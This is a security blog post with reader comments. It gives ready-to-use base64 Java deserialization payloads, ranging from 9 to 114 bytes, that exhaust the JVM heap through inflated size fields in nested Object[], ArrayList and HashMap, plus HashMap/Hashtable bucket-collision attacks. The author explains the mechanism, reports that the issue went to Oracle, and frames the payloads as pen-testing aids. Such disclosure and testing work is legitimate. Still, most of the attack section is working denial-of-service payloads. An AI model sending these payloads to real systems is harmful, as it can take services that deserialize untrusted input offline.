Friday, April 1, 2016

Java Deserialization DoS - payloads

Handy payloads for testing Java Deserialization vulnerability


GitHub project:  https://github.com/topolik/ois-dos/

Update: A new attack vector against ObjectInputStream.readProxyDesc() using just 9 bytes: rO0ABX1////3

Scenarios


  • Generic heap overflow
  • Heap overflow using nested Object[] arrays 
  • Heap overflow using nested ArrayList
  • Heap overflow using nested HashMap
  • HashMap and Hashtable collisions attacks

Can be used to bypass blacklist protections or whitelists allowing Object[] array, ArrayList or HashMap.

Payloads to consume 8GB of heap:


Generic (9 bytes): 

rO0ABX1////3


Nested Object[] (44 bytes): 


rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cH////c=

Nested ArrayList (67 bytes):

rO0ABXNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHB////3dwR////3cHBwcHBwcHBwcA==

Nested HashMap (110 bytes):

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABBAAAAAc3EAfgAAP0AAAAAAAAx3CAAAABBAAAAAcHB4cHg=

----

114 bytes to consume 64GB of heap (nested Object[]):

rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cH////d1cQB+AAB////3dXEAfgAAf///93VxAH4AAH////d1cQB+AAB////3dXEAfgAAf///93VxAH4AAH////d1cQB+AAB////3



Short description of Heap overflow attacks

In order to minimize the size of payload I play with "size" field of the classes to overwrite serialized data so that the "size" is near Integer.MAX_VALUE, even though there are only few entries inside the payload.

During deserialization the classes pre-allocate big arrays (based on "size") to be filled with values before actual reading the values happen. Therefore it's not necessary to send all values, OutOfMemoryError is thrown after few allocations for nested objects ... Object[] can contain another Object[].

Let's look at the Object[] payload. It was modified to have max possible size for arrays: ArrayList.MAX_ARRAY_SIZE = Integer.MAX_VALUE - 8 This means array of 2 billion of pointers (each 4 bytes) => 2^9 * 4B = 8GB

Having 8 such Object[] arrays nested one inside another, JVM allocates 8GB array for the root array object, then reads first item ... nested Object[] which is again max-sized array. So allocates another 8GB and continues to deserialize 2nd level array with another 8GB, etc. etc., sooner or later fails with OutOfMemoryError.

Short description of HashMap and Hashtable collision attacks

HashMap in Java 1.7, when created with initialCapacity == loadFactor, create one and only one bucket to store all items. 

Hashtable during deserialization suffers similar condition and allows negative loadFactor => using just one bucket to store all items.

Other info

Please use only for your pen-testing / evaluation of your products.

Reported to Oracle in 2015 with "won't fix" response. Hashtable negative loadFactor bug is treated as a functional bug and should be fixed in one of future releases.


9 comments:

  1. The Nested HashMap payload is throwing 'java.io.OptionalDataException', because the 'size' field of the HashMap is transient.

    ReplyDelete
  2. I didn't saw the exception, try the github project to test it.

    'size' is transient but it's explicitly written http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/java/util/HashMap.java?av=f#1353

    And then it's read as 'mappings' http://grepcode.com/file/repository.grepcode.com/java/root/jdk/openjdk/8u40-b25/java/util/HashMap.java?av=f#1370

    ReplyDelete
    Replies
    1. This comment has been removed by the author.

      Delete
    2. This comment has been removed by the author.

      Delete
    3. while deserializing it throws exception. In the code you are ignoring the exception. Try to print the stacktrace. I'm using Oracle JDK.

      catch (OptionalDataException e) {
      // expected
      }

      Delete
    4. And, In the case of ArrayList, the serialization itself throws exception (IndexOutOfBounds exception:10). In the code you are ignoring the exception. I'm using Oracle JDK.

      Delete
    5. I see, yes it throws exceptions.

      But they are expected because we change internal state of ArrayList/HashMap and serialization/deserialization is not prepared for that. OptionalDataException is thrown because there are not that many items serialized as the code expects. But during deserialization the arrays are already initialized and consumed the heap.

      What's your point?

      Delete
  3. This comment has been removed by the author.

    ReplyDelete
  4. This comment has been removed by the author.

    ReplyDelete